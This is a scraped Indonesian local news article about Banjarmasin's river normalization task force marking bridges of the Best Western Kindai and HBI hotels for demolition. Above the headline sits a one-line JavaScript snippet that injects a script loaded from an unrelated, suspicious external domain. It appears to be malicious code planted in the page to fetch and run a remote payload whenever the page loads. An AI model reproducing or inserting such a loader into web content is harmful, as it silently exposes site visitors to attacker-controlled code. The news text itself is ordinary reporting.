(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Target ‘Silang Merah’ Satgas Normalisasi Sungai, Jembatan Hotel BW dan HBI Belum Dibongkar!


KANALKALIMANTAN.COM, BANJARMASIN – Bangunan milik sejumlah hotel di Banjarmasin yang ada di atas sungai telah jadi target dengan ditandai ‘silang merah’ oleh Satuan Tugas (Satgas) Normalisasi Sungai Pemko Banjarmasin untuk dibongkar. Di antaranya bangunan jembatan milik Hotel Best Western (BW) Kindai Banjarmasin dan dan Hotel Banjarmasin Internasional (HBI) di Jl A Yani Km 4,5 Banjarmasin.

Pemko Banjarmasin sendiri telah memberikan deadline pembongkaran hingga 13 Februari 2021 lalu. Tapi hingga saat ini, bangunan yang sudah diberi tanda silang merah karena dinilai menutup dan menyumbat aliran sungai tersebut, belum disentuh.

Ketua Pelaksana Satgas Normalisasi Sungai, Doyo Pujadi kepada Kanalkalimantan.com mengatakan, total ada 181 titik jembatan, bangunan, dan gedung (JBG) di Jalan A Yani yang menjadi target pembongkaran.

“Sejumlah bangunan hotel di atas sungai Jalan A Yani, masuk dalam target untuk pembongkaran,” tegas Doyo, Selasa (23/2/2021).

Bangunan jembatan HBI bertanda silang merah
Foto: putra

Namun untuk eksekusi pembongkaran, Doyo mengatakan akan melakukan koordinasi dengan pemilik bangunan bersangkutan.

Ia mengakui, sebelumnya Pemko Banjarmasin telah memberikan deadline untuk membongkar JBG yang dianggap menutup, menyumbat aliran arus sungai pada Sabtu (13/2/2021) lalu. Tapi hingga kini, rupanya pihak hotel belum melaksanakan.

Menyikapi hal tersebut, Doyo Pujadi mengatakan akan melakukan diskusi dahulu bersama BPN dan Tim Satgas yang akan merumuskan pelaksanaan langkah pembongkaran bangunan JBG yang masih berdiri di atas sungai.

“Kita akan adakan rapat evaluasi hari Kamis, (25/2/2021) dan akan bahas hal tersebut,” bebernya.

Untuk itu, Doyo Pujadi mengatakan akan menentukan garis sempadan dari sungai, dan melihat dari bidang tanah sertifikatnya. Baru ditentukan posisi mana saja bangunan hotel yang akan dibongkar.

Dikonfirmasi terpisah, Manager Hotel Best Western Kindai Banjarmasin, Asdik mengatakan pihaknya belum mendapatkan informasi rinci bagian mana saja yang harus dibongkar.

“Kami belum mendapat pemberitahuan atau informasi bagian mana yang harus di bongkar, karena jembatan kami sudah lumayan tinggi dari sungai, jadi tidak menjadi kendala untuk aliran sungai” katanya kepada Kanalkalimantan.com, Selasa (23/2/2021).

Ia mengatakan, pihaknya tidak akan keberatan jika harus membongkar bangunan yang dimaksud jika sudah ada informasi rinci.

“Yang jelas, kami akan mematuhi apa yang sudah ditetapkan pemerintah kota,” katanya.
Asdik mengungkapkan, bangunan jembatan sudah sesuai dengan aturan IMB.

“Boleh langsung tanyakan kepada dinas terkait, karena kami sejak awal secara perizinan sudah lengkap, beserta laporan kegiatan pengelolaan dan pemantauan lingkungan hidup, Analisis dampak lingkungan (Amdal) juga,” tegasnya.

“Kami sebagai operator siap mematuhi apa pun yang di putuskan oleh tim satgas normalisasi sungai, namun saat ini belum ada komunikasi dengan kami,” tambahnya.

Sementara berdasar pantauan, tidak hanya Hotel Best Western Kindai Banjarmasin yang diberikan tanda dari Tim Satgas Normalisasi Sungai. Hal sama juga terlihat pada bangunan jembatan milik Hotel Banjarmasin International (HBI).

Diketahui, ada sejumlah kriteria yang menentukan sebuah jembatan, bangunan, dan gedung (JBG) direkomendasikan untuk dibongkar. Di antaranya jarak antara bangunan terbawah lantai jembatan dengan muka air banjir kurang dari 60 cm. Kedua, lebar batas sungai di bawah JBG kurang dari 6 meter.

Dan dijelaskannya, berdasarkan peraturan pemerintah No 38 Tahun 2011 tentang sungai pasal 3 ayat 1, sungai dikuasai negara dan merupakan kekayaan negara. Dan Izin pembangunan jembatan itu hanya hak pakai dan saat pemerintah kota memerlukan untuk kepentingan umum, maka jembatan tersebut bisa dibongkar tanpa tuntutan ganti rugi.

Serta, adanya tiang jembatan tidak diperkenankan di badan sungai, kecuali secara teknis diperlukan konstruksi penguat dengan meminimalkan gangguan arus sungai.

Dan bangunan hanya diperbolehkan selebar 4 meter, untuk memudahkan pemeliharaan sungai. Kemudian bentuk jembatan pun harus lengkung.

Selebihnya, untuk bangunan JBG yang sudah di bongkar nantinya, pihak Satgas Normalisasi Sungai akan menyampaikan dan memberitahu desain seperti apa, ketinggian berapa agar tidak disalahkan lagi.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

32 menit ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

9 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

10 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

12 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

13 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

14 jam ago

This website uses cookies.